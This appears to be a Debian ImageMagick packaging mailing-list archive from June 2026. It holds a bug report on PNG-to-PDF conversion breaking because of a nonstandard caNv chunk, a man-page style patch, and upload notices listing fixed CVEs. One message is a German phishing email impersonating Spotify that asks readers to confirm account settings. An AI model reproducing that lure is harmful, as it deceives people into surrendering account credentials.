From MdAyq5 at ro.ru  Tue Jun  2 07:40:37 2026
From: MdAyq5 at ro.ru (Md Ayquassar)
Date: Tue, 2 Jun 2026 08:40:37 +0200
Subject: [Pkg-gmagick-im-team] Bug#1115346: Lower bottom is cut away,
 and empty space is added to the top right when converting PNG to PDF
References: <aa03d550-c4b0-4005-a747-64f396b232d2@ro.ru>
Message-ID: <db7700db-c4a2-4e0a-8b5b-84d2c6306834@ro.ru>

retitle 1115346 Lower bottom is cut away, and empty space added to the top right when converting PNG to PDF
affects 1115346 + pngtools libimage-exiftool-perl pngcheck
severity 1115346 important
quit


Consider test.png in the attachment. Open it with loupe, display, or eog, and you'll see a cross in a rectangle, and there is nothing outside the rectangle. We see nothing unusual so far:

$ pnginfo test.png
test.png...
   Image Width: 100 Image Length: 166
   Bitdepth (Bits/Sample): 8
   Channels (Samples/Pixel): 1
   Pixel depth (Pixel Depth): 8
   Colour Type (Photometric Interpretation): GRAYSCALE
   Image filter: Single row per byte filter
   Interlacing: No interlacing
   Compression Scheme: Deflate method 8, 32k window
   Resolution: (not specified)
   FillOrder: msb-to-lsb
   Byte Order: Network (Big Endian)
   Number of text strings: 0
$ exiftool -a -G test.png
[ExifTool]      ExifTool Version Number         : 13.25
[File]          File Name                       : test.png
[File]          Directory                       : .
[File]          File Size                       : 493 bytes
[File]          File Modification Date/Time     : 2026:06:02 08:02:41+02:00
[File]          File Access Date/Time           : 2026:06:02 08:05:45+02:00
[File]          File Inode Change Date/Time     : 2026:06:02 08:03:31+02:00
[File]          File Permissions                : -rw-rw-r--
[File]          File Type                       : PNG
[File]          File Type Extension             : png
[File]          MIME Type                       : image/png
[PNG]           Image Width                     : 100
[PNG]           Image Height                    : 166
[PNG]           Bit Depth                       : 8
[PNG]           Color Type                      : Grayscale
[PNG]           Compression                     : Deflate/Inflate
[PNG]           Filter                          : Adaptive
[PNG]           Interlace                       : Noninterlaced
[Composite]     Image Size                      : 100x166
[Composite]     Megapixels                      : 0.017
$ file test.png
test.png: PNG image data, 100 x 166, 8-bit grayscale, non-interlaced
$ pngcheck test.png
zlib warning:  different version (expected 1.2.13, using 1.3.1)
  
OK: test.png (100x166, 8-bit grayscale, non-interlaced, 97.0%).


Now run

magick test.png test.pdf

or

convert test.png test.pdf

followed by

$ pdfinfo test.pdf
Title:           test
Author:          https://imagemagick.org
Creator:         https://imagemagick.org
Producer:        https://imagemagick.org
CreationDate:    Tue Jun  2 07:46:05 2026 CEST
ModDate:         Tue Jun  2 07:46:05 2026 CEST
Custom Metadata: no
Metadata Stream: no
Tagged:          no
UserProperties:  no
Suspects:        no
Form:            none
JavaScript:      no
Pages:           1
Encrypted:       no
Page size:       3964 x 6509 pts
Page rot:        0
File size:       3111 bytes
Optimized:       no
PDF version:     1.3

The page size of the PDF file is now huge. However, for the original PNG file, it was not reported by `pnginfo`, `exiftool`, `pngcheck`, or `file`, and it was not noticeable in any of the three image viewers.

Open test.pdf in evince, and observe lots of free space to the right and above the rectangle with a cross. Also, the lower left part of the rectangle with a cross is missing. Clearly, this is not intended. We expect that the target PDF is visibly the same as the original PNG. If a clean conversion cannot be done or doesn't make sense, an error should be reported or the user should be warned at the very least.

In retrospect, we found caNv to be the culprit. No idea which tool added this.

Raising severity as this bug silently makes your life hard: you don't notice that your original PNG files are unusual until after the conversion to a PDF. It's even worse: the target PDF might have only few columns/lines missing on the left/bottom, and it might have only few white lines/columns added to the top/right; these are hard to see, and the wrong PDF might even get shipped to the receiver before you notice this error (if ever).
-------------- next part --------------
A non-text attachment was scrubbed...
Name: test.pdf
Type: application/pdf
Size: 3111 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260602/58d089f6/attachment.pdf>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: test.png
Type: image/png
Size: 493 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260602/58d089f6/attachment.png>

From owner at bugs.debian.org  Tue Jun  2 07:43:02 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Tue, 02 Jun 2026 06:43:02 +0000
Subject: [Pkg-gmagick-im-team] Processed: Lower bottom is cut away,
 and empty space is added to the top right when converting PNG to PDF
References: <db7700db-c4a2-4e0a-8b5b-84d2c6306834@ro.ru>
Message-ID: <handler.s.C.17803824492186318.transcript@bugs.debian.org>

Processing commands for control at bugs.debian.org:

> retitle 1115346 Lower bottom is cut away, and empty space added to the top right when converting PNG to PDF
Bug #1115346 [imagemagick-7.q16] magick's conversion from a scanned and processed PNG to PDF adds additional stripes to the top and right
Changed Bug title to 'Lower bottom is cut away, and empty space added to the top right when converting PNG to PDF' from 'magick's conversion from a scanned and processed PNG to PDF adds additional stripes to the top and right'.
> affects 1115346 + pngtools libimage-exiftool-perl pngcheck
Bug #1115346 [imagemagick-7.q16] Lower bottom is cut away, and empty space added to the top right when converting PNG to PDF
Added indication that 1115346 affects pngtools, libimage-exiftool-perl, and pngcheck
> severity 1115346 important
Bug #1115346 [imagemagick-7.q16] Lower bottom is cut away, and empty space added to the top right when converting PNG to PDF
Severity set to 'important' from 'normal'
> quit
Stopping processing here.

Please contact me if you need assistance.
-- 
1115346: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1115346
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems


From bjarniig at simnet.is  Sat Jun  6 02:32:36 2026
From: bjarniig at simnet.is (Bjarni Ingi Gislason)
Date: Sat, 6 Jun 2026 01:32:36 +0000
Subject: [Pkg-gmagick-im-team] mogrify-im7.q16.1: Some remarks and a patch
 with editorial changes for this man page
Message-ID: <178070923553.8523.15467528632646624217.reportbug@kassi.invalid.is>

Package: imagemagick-7.q16
Version: 8:7.1.2.23+dfsg1-1
Severity: minor
Tags: patch

  Additional remarks.

  Mails from me to "submit at bugs.debian.org" are no longer acknowledged.  A
Debian maintainer told me, that he would contact the mail administrator
about me not wanting to send bugs upstream.


Dear Maintainer,

>From "/usr/share/doc/debian/bug-reporting.txt.gz":

  Don't file bugs upstream

   If you file a bug in Debian, don't send a copy to the upstream software
   maintainers yourself, as it is possible that the bug exists only in
   Debian. If necessary, the maintainer of the package will forward the
   bug upstream.

-.-

  For forwarding bug reports to upstream see:

https://www.debian.org/Bugs/Developer#forward

-.-

  "Handling bug reports" in
http://people.debian.org/~enrico/dcg/ch03s02.html

-.-

  I do not send reports upstream if I have to get an account there.
The Debian maintainers have one already.

  If I get a negative (or no) response from upstream, I send henceforth
bugs to Debian.

-.-

   * What led up to the situation?

     Checking for defects with a new version

test-[g|n]roff -mandoc -t -K utf8 -rF0 -rHY=0 -rCHECKSTYLE=0 -ww -z < "man page"

  [Use 

grep -n -e ' $' -e '\\~$' -e ' \\f.$' -e ' \\"' <file>

  to find (most) trailing spaces.]

  ["test-groff" is a script in the repository for "groff"; is not shipped]
(local copy and "troff" slightly changed by me).

  [The fate of "test-nroff" was decided in groff bug #55941.]

   * What was the outcome of this action?

Output from "test-groff  -mandoc -t -K utf8 -rF0 -rHY=0 -rCHECKSTYLE=0 -ww -z ":

troff:<stdin>:130: warning: trailing whitespace [-w trail]
troff:<stdin>:143: warning: trailing whitespace [-w trail]
troff:<stdin>:212: warning: trailing whitespace [-w trail]

Output from "test-nroff  -mandoc -t -K utf8 -rF0 -rHY=0 -rCHECKSTYLE=0 -ww -z ":

troff:<stdin>:130: warning: trailing whitespace [-w trail]
troff:<stdin>:143: warning: trailing whitespace [-w trail]
troff:<stdin>:212: warning: trailing whitespace [-w trail]


   * What outcome did you expect instead?

     No output (no warnings).

-.-

  General remarks and further material, if a diff-file exist, are in the
attachments.


-- System Information:
Debian Release: forky/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 7.0.10+deb14-amd64 (SMP w/2 CPU threads; PREEMPT)
Locale: LANG=is_IS.iso88591, LC_CTYPE=is_IS.iso88591 (charmap=ISO-8859-1), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages imagemagick-7.q16 depends on:
ii  hicolor-icon-theme      0.18-2
ii  libc6                   2.42-16
ii  libmagickcore-7.q16-10  8:7.1.2.23+dfsg1-1
ii  libmagickwand-7.q16-10  8:7.1.2.23+dfsg1-1

Versions of packages imagemagick-7.q16 recommends:
ii  ghostscript                   10.07.1~dfsg-1
pn  libmagickcore-7.q16-10-extra  <none>
ii  netpbm                        2:11.13.03+ds-2

Versions of packages imagemagick-7.q16 suggests:
pn  autotrace                            <none>
pn  cups-bsd | lpr | lprng               <none>
ii  curl                                 8.20.0-2
pn  enscript                             <none>
pn  ffmpeg                               <none>
pn  gimp                                 <none>
ii  gnuplot                              6.0.3+dfsg1-1
ii  gnuplot-qt [gnuplot]                 6.0.3+dfsg1-1
pn  grads                                <none>
pn  graphviz                             <none>
ii  groff-base                           1.24.1-1
pn  hp2xx                                <none>
pn  html2ps                              <none>
ii  imagemagick-7-doc                    8:7.1.2.23+dfsg1-1
pn  libraw-bin                           <none>
pn  libwmf-bin                           <none>
pn  mplayer                              <none>
pn  povray                               <none>
pn  radiance                             <none>
pn  sane-utils                           <none>
ii  texlive-binaries [texlive-base-bin]  2026.20260303.78225+ds-4
pn  transfig                             <none>
ii  xdg-utils                            1.2.1-2

-- no debconf information
-------------- next part --------------
Input file is mogrify-im7.q16.1

Output from "mandoc -T lint  mogrify-im7.q16.1": (shortened list)

      4 STYLE: input text line longer than 80 bytes
      3 STYLE: whitespace at end of input line

Find trailing whitespace with:
grep -n -e ' $' -e ' \\f.$' -e ' \\"' <man page>

-.-.

Output from
test-nroff -mandoc -t -Kutf8 -ww -z mogrify-im7.q16.1: (shortened list)

      3 trailing whitespace [-w trail]

Find trailing whitespace with:
grep -n -e ' $' -e ' \\f.$' -e ' \\"' <man page>

-.-.

Remove space characters (whitespace) at the end of lines.
Use "git apply ... --whitespace=fix" to fix extra space issues, or use
global configuration "core.whitespace".

See more information in the attachment "trailing whitespace".

Number of lines affected is

3

-.-.

Add a "\&" (or a comma (Oxford comma)) after an abbreviation
or use English words
(man-pages(7)).
Abbreviation points should be marked as such and protected against being
interpreted as an end of sentence, if they are not, and that independent
of the current place on the line.

44:  \-features distance   analyze image features (e.g. contrast, correlation)
330:By default, the image format of `file' is determined by its magic number.  To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps).  Specify 'file' as '-' for standard input or output.

-.-.

Wrong distance (not two spaces, not a new line character (\n)) between
sentences in the input file.

  Separate the sentences and subordinate clauses; each begins on a new
line.  See man-pages(7) ("Conventions for source file layout") and
"info groff" ("Input Conventions").

  The best procedure is to always start a new sentence on a new line,
at least, if you are typing on a computer.

Remember coding: Only one command ("sentence") on each (logical) line.

E-mail: Easier to quote exactly the relevant lines.

Generally: Easier to edit the sentence.

Patches: Less unaffected text.

Search for two adjacent words is easier, when they belong to the same line,
and the same phrase.

  The amount of space between sentences in the output can then be
controlled with the ".ss" request.

Mark a final abbreviation point as such by suffixing it with "\&".

Some sentences (etc.) do not begin on a new line.

Split (sometimes) lines after a punctuation mark; before a conjunction.

  Lines with only one (or two) space(s) between sentences could be split,
so latter sentences begin on a new line.

Use

#!/usr/bin/sh

sed -e '/^\./n' \
-e 's/\([[:alpha:]]\)\.  */\1.\n/g' $1

to split lines after a sentence period.
Check result with the difference between the formatted outputs.
See also the attachment "general.bugs"

[List of affected lines removed.]

3:mogrify \- resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. Mogrify overwrites the original image file, whereas, convert-im7.q16(1) writes to a different image file.
8:The \fBmogrify-im7.q16\fP program is a member of the ImageMagick-ims7.q16(1) suite of tools.  Use it to resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. This tool is similar to convert-im7.q16(1) except the original image file is overwritten with any changes you request.
44:  \-features distance   analyze image features (e.g. contrast, correlation)
330:By default, the image format of `file' is determined by its magic number.  To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps).  Specify 'file' as '-' for standard input or output.
336:\fBCopyright (C) 1999 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-7-common/html/www/license.html (on debian system you may install the imagemagick-7 package) or https://www.imagemagick.org/script/license.php\fP

-.-.

Split lines longer than 80 characters (fill completely
an A4 sized page line on a terminal)
into two or more lines.
Appropriate break points are the end of a sentence and a subordinate
clause; after punctuation marks.

[List of affected lines removed.]

Longest line is number 8 with 317 characters
The \fBmogrify-im7.q16\fP program is a member of the ImageMagick-ims7.q16(1) suite of tools.  Use it to resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. This tool is similar to convert-im7.q16(1) except the original image file is overwritten with any changes you request.

-.-.

Name of a manual is set in bold (or italic), the section in roman.
See man-pages(7).

332:ImageMagick-im7.q16(1)

-.-.

point size: the typographical term is 'type size'.  There exist
several point sizes, like 'Didot point', 'big point' (PostScript point),
and 'pica point' (printer's point, English, USA).

76:  \-pointsize value     font point size

-.-.

Put a parenthetical sentence, phrase on a separate line,
if not part of a code.
See man-pages(7), item "semantic newline".

mogrify-im7.q16.1:10:For more information about the mogrify command, point your browser to file:///usr/share/doc/imagemagick-7-common/html/www/mogrify.html (on debian system you may install the imagemagick-7 package) or https://www.imagemagick.org/script/mogrify.php.
mogrify-im7.q16.1:330:By default, the image format of `file' is determined by its magic number.  To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps).  Specify 'file' as '-' for standard input or output.
mogrify-im7.q16.1:336:\fBCopyright (C) 1999 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-7-common/html/www/license.html (on debian system you may install the imagemagick-7 package) or https://www.imagemagick.org/script/license.php\fP

-.-.

Only one space character is after a possible end of sentence
(after a punctuation, that can end a sentence).

mogrify-im7.q16.1:3:mogrify \- resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. Mogrify overwrites the original image file, whereas, convert-im7.q16(1) writes to a different image file.
mogrify-im7.q16.1:8:The \fBmogrify-im7.q16\fP program is a member of the ImageMagick-ims7.q16(1) suite of tools.  Use it to resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. This tool is similar to convert-im7.q16(1) except the original image file is overwritten with any changes you request.
mogrify-im7.q16.1:44:  \-features distance   analyze image features (e.g. contrast, correlation)
mogrify-im7.q16.1:330:By default, the image format of `file' is determined by its magic number.  To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps).  Specify 'file' as '-' for standard input or output.
mogrify-im7.q16.1:336:\fBCopyright (C) 1999 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-7-common/html/www/license.html (on debian system you may install the imagemagick-7 package) or https://www.imagemagick.org/script/license.php\fP

-.-.

Remove quotes when there is a printable
but no space character between them
and the quotes are not for emphasis (markup),
for example as an argument to a macro.

mogrify-im7.q16.1:1:.TH mogrify-im7.q16 1 "Date: 2009/01/10 01:00:00" "ImageMagick"

-.-.

Output from "test-nroff  -mandoc -t -K utf8 -rF0 -rHY=0 -rCHECKSTYLE=0 -ww -z ":

troff:<stdin>:130: warning: trailing whitespace [-w trail]
troff:<stdin>:143: warning: trailing whitespace [-w trail]
troff:<stdin>:212: warning: trailing whitespace [-w trail]

-.-

Generally:

Split (sometimes) lines after a punctuation mark; before a conjunction.

  Generated files create bigger and more difficult to read/check patches
when the generator creats long lines, instead of shorter ones or by
postprocesing its output in such a way.

-.-

Tables:

  Use the preprocessor 'tbl' to make tables.

  Put data, that are wider than the header in the (centered) last column,
in a "T{...\nT}" block(, when the table gets wider than the output line).

  Table headings, that are wider than any data in the corresponding
column, do not need to be centered, so left adjustment (l, L) is
sufficient.

-------------- next part --------------
--- mogrify-im7.q16.1	2026-06-06 01:03:00.491087814 +0000
+++ mogrify-im7.q16.1.new	2026-06-06 01:20:27.947132373 +0000
@@ -1,4 +1,4 @@
-.TH mogrify-im7.q16 1 "Date: 2009/01/10 01:00:00" "ImageMagick"
+.TH mogrify-im7.q16 1 "Date: 2009/01/10 01:00:00" ImageMagick
 .SH NAME
 mogrify \- resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. Mogrify overwrites the original image file, whereas, convert-im7.q16(1) writes to a different image file.
 .SH SYNOPSIS
@@ -41,7 +41,7 @@ Image Settings:
   \-encoding type       text encoding type
   \-endian type         endianness (MSB or LSB) of the image
   \-family name         render text with this font family
-  \-features distance   analyze image features (e.g. contrast, correlation)
+  \-features distance   analyze image features (e.g.\& contrast, correlation)
   \-fill color          color to use when filling a graphic primitive
   \-filter type         use this filter when resizing an image
   \-flatten             flatten a sequence of images
@@ -73,7 +73,7 @@ Image Settings:
   \-perceptible epsilon
                        pixel value less than |epsilon| become epsilon or -epsilon
   \-ping                efficiently determine image attributes
-  \-pointsize value     font point size
+  \-pointsize value     font type size
   \-precision value     maximum number of significant digits to print
   \-preview type        image preview type
   \-quality value       JPEG/MIFF/PNG compression level
@@ -127,7 +127,7 @@ Image Operators:
   \-auto-threshold method
                        automatically perform image thresholding
   \-bench iterations    measure performance
-  \-bilateral-blur geometry     
+  \-bilateral-blur geometry
                         non-linear, edge-preserving, and noise-reducing smoothing filter
   \-black-threshold value
                        force all pixels below the threshold into black
@@ -140,7 +140,7 @@ Image Operators:
   \-channel mask        set the image channel mask
   \-charcoal radius     simulate a charcoal drawing
   \-chop geometry       remove pixels from the image interior
-  \-clahe geometry      contrast limited adaptive histogram equalization 
+  \-clahe geometry      contrast limited adaptive histogram equalization
   \-clamp               keep pixel values in range (0-QuantumRange)
   \-clip                clip along the first path from the 8BIM profile
   \-clip-mask filename  associate a clip mask with the image
@@ -209,7 +209,7 @@ Image Operators:
   \-monochrome          transform image to black and white
   \-motion-blur geometry
                        simulate motion blur
-  \-negate              replace each pixel with its complementary color 
+  \-negate              replace each pixel with its complementary color
   \-noise geometry      add or reduce noise in an image
   \-normalize           transform image to span the full range of colors
   \-opaque color        change this color to the fill color
@@ -327,9 +327,9 @@ Miscellaneous Options:
   \-list type           print a list of supported option arguments
   \-version             print version information
 
-By default, the image format of `file' is determined by its magic number.  To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps).  Specify 'file' as '-' for standard input or output.
+By default, the image format of `file' is determined by its magic number.  To specify a particular image format, precede the filename with an image format name and a colon (i.e.\& ps:image) or specify the image type as the filename suffix (i.e.\& image.ps).  Specify 'file' as '-' for standard input or output.
 .SH SEE ALSO
-ImageMagick-im7.q16(1)
+.BR ImageMagick-im7.q16 (1)
 
 .SH COPYRIGHT
 
-------------- next part --------------
  Check the output from "lintian" in the Debian distribution.

  Any program (person), that produces man pages, should check the output
for defects by using (both groff and nroff)

[gn]roff -mandoc -t -ww -b -z -K utf8 <man page>

  To find most trailing spaces use

grep -n -e ' $' -e ' \\f.$' -e ' \\"' <man page>

  The same goes for man pages that are used as an input.

-.-

  For a style guide use

  mandoc -T lint

-.-

  For general input conventions consult the man page "nroff(7)" (item
"Input conventions") or the Texinfo manual about the same item.

-.-

  Any "autogenerator" should check its products with the above mentioned
'groff', 'mandoc', and additionally with 'nroff ...'.

  It should also check its input files for too long (> 80) lines.

  This is just a simple quality control measure.

  The "autogenerator" may have to be corrected to get a better man page,
the source file may, and any additional file may.

-.-

  Common defects:

  Not removing trailing spaces (in in- and output).
  The reason for these trailing spaces should be found and eliminated.

  "git" has a "tool" to point out whitespace,
see for example "git-apply(1)" and git-config(1)")

-.-

  Not beginning each input sentence on a new line.

Line length and patch size should thus be reduced when that has been fixed.

  The script "reportbug" uses 'quoted-printable' encoding when a line is
longer than 1024 characters in an 'ascii' file.

  See man-pages(7), item "semantic newline".

-.-

The difference between the formatted output of the original
and patched file can be seen with:

  nroff -mandoc <file1> > <out1>
  nroff -mandoc <file2> > <out2>
  diff -d -u <out1> <out2>

and for groff, using

\"printf '%s\n%s\n' '.kern 0' '.ss 12 0' | groff -mandoc -Z - \"

instead of 'nroff -mandoc'

  Add the option '-t', if the file contains a table.

  Read the output from 'diff -d -u ...' with 'less -R' or similar.

-.-.

  If 'man' (man-db) is used to check the manual for warnings,
the following must be set:

  The option "-warnings=w"

  The environmental variable:

export MAN_KEEP_STDERR=yes (or any non-empty value)

  or

  (produce only warnings):

export MANROFFOPT="-ww -b -z"

export MAN_KEEP_STDERR=yes (or any non-empty value)

-.-
-------------- next part --------------
An embedded message was scrubbed...
From: unknown sender
Subject: clean files of trailing whitespace
Date: no date
Size: 488
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260606/9aa81ab6/attachment.eml>

From junioreditor at dbcorp.in  Sun Jun  7 00:06:06 2026
From: junioreditor at dbcorp.in (=?UTF-8?B?U3BvdGlmeSBTaWNoZXJoZWl0?=)
Date: Sun, 07 Jun 2026 04:36:06 +0530
Subject: [Pkg-gmagick-im-team] =?utf-8?q?Bitte_best=C3=A4tigen_Sie_Ihre_S?=
 =?utf-8?q?potify-Kontoeinstellungen?=
Message-ID: <jgtqhf17807715625285966@dbcorp.in>




	
	
	
	



	
		
			
		
		
			
			
				
					
						
						Bitte genehmigen Sie Ihre Spotify-Kontoeinstellungen

						Sehr geehrter Kunde,

						Um die volle Funktionalit?t und Sicherheit Ihres Kontos zu gew?hrleisten, bitten wir Sie, Ihre Spotify-Kontoeinstellungen zu best?tigen.

						Was Sie tun sollten:
						? Best?tigen Sie Ihre aktuellen Einstellungen
						? Pr?fen Sie Ihre pers?nlichen Daten
						?
						Klicken Sie auf die Schaltfl?che unten, um fortzufahren.
						
						
					
				
			
			
		
		
			Einstellungen best?tigen
		
		
			
			Warum best?tigen?
			? Nur wenige Minuten erforderlich
			? Ihre Daten bleiben sicher
			? Entspricht den aktuellen Vorschriften
			?
			Mit freundlichen Gr??en,
			Ihr Spotify-Team
			
		
		
			
			Dies ist eine automatische Nachricht. Bitte nicht antworten.

			? Spotify 2025 ? Alle Rechte vorbehalten.
			
		
	

?

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260607/f533ab62/attachment.htm>

From PeterMueller at ro.ru  Thu Jun 11 09:43:31 2026
From: PeterMueller at ro.ru (=?UTF-8?Q?Peter_M=C3=BCller?=)
Date: Thu, 11 Jun 2026 10:43:31 +0200
Subject: [Pkg-gmagick-im-team] Bug#1115346: ImageMagick rotation introduces
 caNv without being asked and GIMP copies caNv verbatim even if the size of
 the image changes
In-Reply-To: <handler.1115346.B1115346.17579744903673063.ackinfo@bugs.debian.org>
References: <9eed2d68-572a-4c7f-a650-739333ab2ee5@ro.ru>
 <handler.1115346.B1115346.17579744903673063.ackinfo@bugs.debian.org>
 <aa03d550-c4b0-4005-a747-64f396b232d2@ro.ru>
Message-ID: <291b9c0b-6113-41b3-bc78-9d2d35e01160@ro.ru>

It turned out that in my workflows, rotation by a nontrivial angle (e.g., strictly between 0 and 90) introduces a caNv chunk, and a subsequent conversion to PDF (but not to many other formats, say, JPG, JPEG2000, GIF, or TIFF) exposes the havoc.  E.g., grab https://www.debian.org/logos/openlogo-100.png and run

     magick openlogo-100.png -rotate 10 openlogo-100.rotated.png
     magick openlogo-100.rotated.png openlogo-100.rotated.pdf

In openlogo-100.rotated.pdf, the stuff in the bottom left is cut away, and white margins on the top and right are added.

The issue is exacerbated by the fact that if you open file.rotated.png in GIMP, crop the image (Shift+C) to a smaller size, resize the layers to the size of the image, and export the result, you get exactly the same caNv chunk in the exported PNG. The tools don't warn you about the contamination during all the operations with magick and GIMP (and probably more tools, as the chunk is safe to copy by the PNG specification). You only notice the mayhem quite late, when viewing the final PDF?if you're lucky.

As caNv is nonstandard, I suggest both skipping this poison during rotation and ignoring it during conversion to PDF by default (i.e., unless an extra switch or extra switches requests it).


From PeterMueller at ro.ru  Thu Jun 11 14:01:56 2026
From: PeterMueller at ro.ru (=?UTF-8?Q?Peter_M=C3=BCller?=)
Date: Thu, 11 Jun 2026 15:01:56 +0200
Subject: [Pkg-gmagick-im-team] Bug#1115346: Correction
In-Reply-To: <handler.1115346.B1115346.17579744903673063.ackinfo@bugs.debian.org>
References: <9eed2d68-572a-4c7f-a650-739333ab2ee5@ro.ru>
 <handler.1115346.B1115346.17579744903673063.ackinfo@bugs.debian.org>
 <aa03d550-c4b0-4005-a747-64f396b232d2@ro.ru>
Message-ID: <6e2bed6e-245b-46d0-b047-abeca733e684@ro.ru>

? or extra switches requests it
?
? or extra switches request it

---

In the long run, if caNv is deemed useful, it could be suggested for inclusion into the PNG standard with a well-defined, well-specified, and standalone semantics so that other tools, such as GIMP, can handle it properly in all kinds of image processing (e.g., drop the chunk from the file when it stops making sense). If caNv can't be formalized properly in a standalone way, the chunk should be forgotten forever.


From noreply at release.debian.org  Sat Jun 13 05:39:15 2026
From: noreply at release.debian.org (Debian testing watch)
Date: Sat, 13 Jun 2026 04:39:15 +0000
Subject: [Pkg-gmagick-im-team] imagemagick 8:7.1.2.24+dfsg1-1 MIGRATED to
 testing
Message-ID: <E1wYG9L-00HEbP-0s@respighi.debian.org>

FYI: The status of the imagemagick source package
in Debian's testing distribution has changed.

  Previous version: 8:7.1.2.23+dfsg1-1
  Current version:  8:7.1.2.24+dfsg1-1

-- 
This email is automatically generated once a day.  As the installation of
new packages into testing happens multiple times a day you will receive
later changes on the next day.
See https://release.debian.org/testing-watch/ for more information.


From ftpmaster at ftp-master.debian.org  Sat Jun 13 16:05:51 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Sat, 13 Jun 2026 15:05:51 +0000
Subject: [Pkg-gmagick-im-team] Processing of
 imagemagick_7.1.2.25+dfsg1-1_source.changes
Message-ID: <E1wYPvj-00EPfp-0g@usper.debian.org>

imagemagick_7.1.2.25+dfsg1-1_source.changes uploaded successfully to localhost
along with the files:
  imagemagick_7.1.2.25+dfsg1-1.dsc
  imagemagick_7.1.2.25+dfsg1.orig.tar.xz
  imagemagick_7.1.2.25+dfsg1-1.debian.tar.xz
  imagemagick_7.1.2.25+dfsg1-1_source.buildinfo

Greetings,

	Your Debian queue daemon (running on host usper.debian.org)


From ftpmaster at ftp-master.debian.org  Sat Jun 13 16:18:54 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Sat, 13 Jun 2026 15:18:54 +0000
Subject: [Pkg-gmagick-im-team] imagemagick_7.1.2.25+dfsg1-1_source.changes
 ACCEPTED into unstable
Message-ID: <E1wYQ8M-00000004h4H-2reK@fasolo.debian.org>

Thank you for your contribution to Debian.



Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Fri, 12 Jun 2026 22:13:14 +0200
Source: imagemagick
Architecture: source
Version: 8:7.1.2.25+dfsg1-1
Distribution: unstable
Urgency: high
Maintainer: ImageMagick Packaging Team <pkg-gmagick-im-team at lists.alioth.debian.org>
Changed-By: Bastien Roucari?s <rouca at debian.org>
Changes:
 imagemagick (8:7.1.2.25+dfsg1-1) unstable; urgency=high
 .
   * New upstream version
   * Fix CVE-2026-53460:
     A missing check for maximum memory request in AcquireAlignedMemory
     could trigger an out-of-Memory condition.
   * Fix CVE-2026-53461:
     An incorrect loop in the ICON decoder can result in an out of
     bounds heap write resulting in a crash.
   * Fix CVE-2026-53462:
     When an allocation fails in CheckPrimitiveExtent this can result in a
     heap-use-after-free and result in a crash.
   * Fix CVE-2026-53463:
     When passing incorrect arguments in the distort operation a
     null pointer deference will occur.
   * Fix CVE-2026-53464:
     When providing invalid options to the wand option parser
     a small memory leak will occur.
   * Fix CVE-2026-53465:
     A crafted multi-frame can result in a heap buffer over-write
     when encoding it with the SF3 encoder
Checksums-Sha1:
 5755df24889342e1961b0f9086a530e6c521e016 5202 imagemagick_7.1.2.25+dfsg1-1.dsc
 ee66b21d708c7fb61d0f6aab145ad46ecc88299f 10539840 imagemagick_7.1.2.25+dfsg1.orig.tar.xz
 00386d1e38de3facd0cd1c5bfd385f7beec5d1dd 266440 imagemagick_7.1.2.25+dfsg1-1.debian.tar.xz
 d7360f6c2f793a87e35bbca7eba3335a705531c1 8599 imagemagick_7.1.2.25+dfsg1-1_source.buildinfo
Checksums-Sha256:
 9f95485ab6751edb55949eeae96f8023fd634de2a315366e70d1d2073b837fb7 5202 imagemagick_7.1.2.25+dfsg1-1.dsc
 f978ff8fc6fe47e70a66f8cc748d8aa6dab81fa97f14ac47ee5a464f22d68212 10539840 imagemagick_7.1.2.25+dfsg1.orig.tar.xz
 45c3d2f71600dde68aebf183be873472cd1bd68976053f0d0d5b6fb02b9d4857 266440 imagemagick_7.1.2.25+dfsg1-1.debian.tar.xz
 41faed9d9ed3bc91ad275336d815ca3f6f4732861609cf53eac1511fb5780485 8599 imagemagick_7.1.2.25+dfsg1-1_source.buildinfo
Files:
 a21d6c0ba23a961c956fbc0fcdfbb5d7 5202 graphics optional imagemagick_7.1.2.25+dfsg1-1.dsc
 c870e0367efccd3649e52a78a168257a 10539840 graphics optional imagemagick_7.1.2.25+dfsg1.orig.tar.xz
 097be3df99075018806fb76c3023c86f 266440 graphics optional imagemagick_7.1.2.25+dfsg1-1.debian.tar.xz
 214ba4fc73ee0c6178fab82c11b28bf1 8599 graphics optional imagemagick_7.1.2.25+dfsg1-1_source.buildinfo

-----BEGIN PGP SIGNATURE-----


yhpxfTLgUUdVPJNvf4g=
=h4K3
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
